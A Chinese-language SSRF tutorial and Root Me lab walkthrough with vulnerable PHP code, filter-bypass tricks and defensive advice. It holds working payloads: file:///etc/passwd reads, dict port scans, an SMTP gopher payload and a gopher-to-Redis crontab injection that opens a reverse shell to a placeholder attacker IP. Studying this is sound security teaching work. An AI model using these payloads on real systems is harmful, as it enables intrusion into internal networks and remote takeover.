0x00 SSRF简介
SSRF(Server-Side Request Forgery)指的是攻击者在未能获取服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
原理:
通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的相应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址以及服务,来造成内网系统的攻击。
危害:
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
内网服务防御相对于外网服务一般较弱,甚至部分内网服务为了运维方便并未对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大危害。
个人理解:
SSRF就是利用服务器发起请求(请求来自客户端提交的),去请求一些服务器可以直接访问的服务。这个服务器相当于是一个提线木偶,我们操作它去攻击其他服务。
0x01 漏洞利用
利用:
- 扫描内网开放服务
- 向内部任意主机的任意端口发送payload来攻击内网服务(比如溢出)
- DOS攻击(请求大文件,始终保持连接KEEP-ALIVE-ALWAYS)
- 攻击内网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等)
- 利用file、gopher、dict协议读取本地文件、执行命令等
0x02 常见攻击协议
Gopher协议:是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。
对目标发起攻击的主要协议gopher://xxxxxx:port/主体 主体部分需要进行url编码
具体攻击手法:利用 Gopher 协议拓展攻击面
Dict协议:探测端口操作,以及版本信息例如:dict://127.0.0.1:6379/info
http://xxx.com/ssrf.php?url=dict://127.0.0.1:22
dict
协议也能攻击redis不过不能换行,一次只能执行一条命令
FTP协议:只能探测是否存在ftp,不能进行暴力破解
Http协议:用来探测是否存在ssrf
File协议:用来进行任意文件读取
http://xxx.com/ssrf.php?url=file:///etc/passwd
等等
各个语言支持的协议:
0x03 漏洞具体
漏洞的寻找
1、社交分享功能:获取超链接的标题等内容进行显示 http://share.xxx.com/index.php?url=http://127.0.0.1
2、转码服务:通过URL地址把原地址的网页内容调优
3、在线翻译:给网址翻译对应网页的内容
4、图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片 http://image.xxx.com/image.php?image=http://127.0.0.1
5、图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用户体验 http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
6、云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
7、网站采集,网站抓取的地方:一些网站会针对你输入的URL进行一些信息采集工作
8、数据库内置功能:数据库的比如mongodb的copyDatabase函数
9、邮件系统:比如接收邮件服务器地址
10、编码处理,属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11、未公开的api实现以及其他扩展调用URL的功能:可以利用GOOGLE语法加上这些关键字去寻找SSRF漏洞
一些的URL的关键字:share,wap,url.link,src,source,target,u,3g,display,sourceURI,imageURL,domain...
12、从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用xml引擎对象的地方 如wordpress xmlrpc.php)
漏洞的产生
1、php file_get_contents:
<?php
if(isset($_POST['url'])){
$content=file_get_contents($_POST['url']);
$filename=''.rand().';img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
这段代码使用file_get_conctents函数从给用户指定的url获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。
2、php fsockopen():
<?php
function GetFile($host,$port,$link){
$fp=fsockopen($host,intval($port),$errno,$errstr,30);
if(!$fp){
echo $errstr." (error number ".$errno.") \n";
}else{
$out = "GET ".$link." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp,$out);
while(!feof($fp)){
$contents.=fgets($fp,1024);
}
fclose($fp);
return $contents;
}
}
?>
这段代码使用fsockopen函数实现获取用户指定url的数据。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
3、php curl_exec():
<?php
funciotn curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
使用curl请求
漏洞的验证
1、因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器发送的,从而来判断是否存在ssrf漏洞
2、在页面源码中寻找访问的资源地址,如果该资源地址类型为 www.baidu.com/xxx.php?image=
(地址)的就可能存在SSRF漏洞
3、dnslog测试
各种payload
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
0x04 漏洞绕过
1、@
http://www.baidu.com@127.0.0.1
与 http://127.0.0.1
请求是相同的
2、攻击本地
http://127.0.0.1:80
http://localhost:22
3、利用[::]
http://[::]:80
与 http://127.0.0.1
也有利用http://0000::1:80/
4、短地址
短地址缩减
5、特殊域名
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
6、利用DNS解析
在域名上设置A记录,指向127.0.0.1
7、上传利用
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
8、利用Enclosed alphanumerics
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
(我没试成功)
9、利用句号
127。0。0。1
=127.0.0.1
10、进制转换
可以是十六进制,八进制等
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
11、特殊地址
http://0/
12、利用协议
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
13、利用tinyurl.com生成302跳转地址
https://tinyurl.com
0x05 演练
Root Me的靶机:SSRF BOX
可以看到向服务器发送请求百度,服务器返回了百度的页面
如何判断是服务器的请求,还是当前客户端的请求呢
我们可以在公网上监听一个端口,去请求他,然后对比Ip判断(自己的服务器打码了)
可以看看还支持其他的什么协议
在打开目标文件时候提示无法打开,应该是权限不足的原因
结合burpsuite的爆破功能采用dict协议对目标服务器端口进行扫描
根据返回的不同banner信息判断存在哪些端口
目标开放了6379端口,这是redis的端口,其默认配置存在未授权访问的问题
可以利用未授权访问然后向 crontab 写入定时任务
payload
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
#其中$62是公网ip加上去的长度,在执行时要进行url编码一次
成功利用
0x06 SSRF防御
1、禁止跳转
2、过滤返回信息
3、统一错误信息
4、禁用不常用的协议,仅允许HTTP和HTTPS请求
5、限制请求端口
6、对DNS Rebinding,考虑使用DNS缓存或者HOST白名单
参考文献
【安全科普】SSRF攻击实例解析
【红日安全】Web安全Day4 - SSRF实战攻防
SSRF in PHP
SSRF绕过方法总结